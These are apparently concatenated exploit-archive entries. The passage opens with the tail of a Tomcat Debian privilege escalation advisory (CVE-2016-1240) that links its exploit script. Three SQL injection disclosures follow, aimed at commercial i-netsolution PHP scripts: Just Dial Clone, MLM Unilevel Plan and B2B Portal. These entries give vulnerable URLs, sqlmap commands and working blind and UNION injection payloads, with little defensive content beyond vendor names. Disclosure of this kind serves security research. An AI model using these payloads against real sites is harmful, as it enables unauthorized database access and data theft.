https://security-tracker.debian.org/tracker/CVE-2016-1240

Ubuntu:
http://www.ubuntu.com/usn/usn-3081-1/

Other systmes that use Tomcat packages provided by Debian may also be affected.

 
VIII. SOLUTION
-------------------------

Debian Security Team was contacted and has fixed affected upstream packages.
Update to the latest tomcat packages provided by your distribution.
 
IX. REFERENCES
-------------------------

http://legalhackers.com

http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html

The exploit's sourcecode
http://legalhackers.com/exploits/tomcat-rootprivesc-deb.sh

CVE-2016-1240
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1240

Ubuntu Security Notice USN-3081-1:
http://www.ubuntu.com/usn/usn-3081-1/

Debian Security Advisory DSA-3669-1 (tomcat7):
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669

Debian Security Advisory DSA-3670-1 (tomcat8):
https://www.debian.org/security/2016/dsa-3670

https://security-tracker.debian.org/tracker/CVE-2016-1240


X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
 
XI. REVISION HISTORY
-------------------------

30.09.2016 - Advisory released
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.
            
[x]========================================================================================================================================[x]
 | Title        : Just Dial Clone Script SQL & XSS Vulnerabilities
 | Software     : Just Dial Clone
 | Vendor       : http://www.i-netsolution.com/
 | Demo         : http://www.i-netsolution.com/item/just-dial-clone/live_demo/423618
 | Date         : 06 October 2016
 | Author       : OoN_Boy
[x]========================================================================================================================================[x]
  
  
  
[x]========================================================================================================================================[x]
 | Technology       : PHP
 | Database         : MySQL
 | Price            : $ 299
 | Description      : If you wish to launch your own business directory website, we have a readymade solution for you which supports unlimited
 categories, uses and secure code. Our Company Catalogue Listing Script is just the right script for you
[x]========================================================================================================================================[x]
  
  
[x]========================================================================================================================================[x]
 | Exploit      : http://localhost/jus/restaurants-details.php?fid=%Inject_Here%21
 | Admin Page	: http://localhost/[path]/admin/index.php  
[x]========================================================================================================================================[x]
  
  
  
[x]========================================================================================================================================[x]
 | Proof of concept SQL	: http://localhost/jus/restaurants-details.php?fid=%Inject_Here%21
[x]========================================================================================================================================[x]
  
[x]========================================================================================================================================[x]
 | Greetz   :   antisecurity.org batamhacker.or.id
 |              Vrs-hCk NoGe Jack zxvf Angela h4ntu reel dono Zhang aJe H312Y yooogy mousekill }^-^{ martfella noname s4va
 |              k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny rere
[x]========================================================================================================================================[x]
 
[x]========================================================================================================================================[x]
| Hi All long time no see ^_^
[x]========================================================================================================================================[x]
            
######################
# Application Name : MLM Unilevel Plan Script v1.0.2

# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL

# Author Contact : https://twitter.com/byn4tural

# Vendor Homepage : http://www.i-netsolution.com/

# Vulnerable Type : SQL Injection

# Date : 2016-10-06

# Tested on : Windows 10 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0.6.28#dev

###################### SQL Injection Vulnerability ######################

# Location :
http://localhost/[path]/news_detail.php

######################

# PoC Exploit:

http://localhost/[path]/news_detail.php?newid=11%27%20%2F*%2130000and%20ascii%28substring%28%28database%28%29%29%2C4%2C1%29%29%3C115%20and*%2F%20%27x%27%3D%27x

# Exploit Code via sqlmap:

sqlmap -u http://localhost/[path]/news_detail.php?newid=11 --dbs

---
Parameter: newid (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: newid=11' AND SLEEP(5) AND 'HheB'='HheB
---
[18:47:12] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12

######################
            
[x]========================================================================================================================================[x]
 | Title	: B2B Portal Script Blind SQL Vulnerabilities
 | Software	: B2B Portal Script
 | Vendor	: http://www.i-netsolution.com/
 | Demo         : http://www.i-netsolution.com/item/b2b-portal-script/live_demo/190275
 | Date         : 06 October 2016
 | Author	: OoN_Boy
[x]========================================================================================================================================[x]
 
 
 
[x]========================================================================================================================================[x]
 | Technology		: PHP
 | Database		: MySQL
 | Price		: $ 249
 | Description		: Have an idea about starting your own Alibaba clone website and thinking how to implement it? Our B2B Portal Script
			  is the platform to transform your idea into the practical world. It is developed in PHP and MySQL and can help global
			  portals to manage their online transactions with efficiency
[x]========================================================================================================================================[x]
 
 
[x]========================================================================================================================================[x]
 | Exploit	: http://localhost/advancedb2b/view-product.php?pid=294'
 | Aadmin Page	: http://localhost/[path]/admin/index.php  
[x]========================================================================================================================================[x]
 
 
 
[x]========================================================================================================================================[x]
 | Proof of concept : sqlmap -u "http://localhost/advancedb2b/view-product.php?pid=294"
[x]========================================================================================================================================[x] 

---
Parameter: pid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pid=294' AND 1754=1754 AND 'whqn'='whqn

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pid=294' AND SLEEP(5) AND 'nGqC'='nGqC

    Type: UNION query
    Title: Generic UNION query (NULL) - 33 columns
    Payload: pid=294' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178766b71,0x656f5962547177636a47435158754754736267535a4d515a4d4c454e535052496652505243795849,0x7176626271),NULL,NULL-- lwGp
---


[x]========================================================================================================================================[x]
 
 
 
[x]========================================================================================================================================[x]
 | Greetz	: antisecurity.org batamhacker.or.id
 | 		  Vrs-hCk NoGe Jack zxvf Angela Zhang aJe H312Y yooogy mousekill }^-^{ martfella noname s4va
 |		  k1tk4t str0ke kaka11 ^s0n g0ku^ Joe Chawanua Ntc xx_user s3t4n IrcMafia em|nem Pandoe Ronny rere
[x]========================================================================================================================================[x]

[x]========================================================================================================================================[x]
| Hi All long time no see ^_^
[x]========================================================================================================================================[x]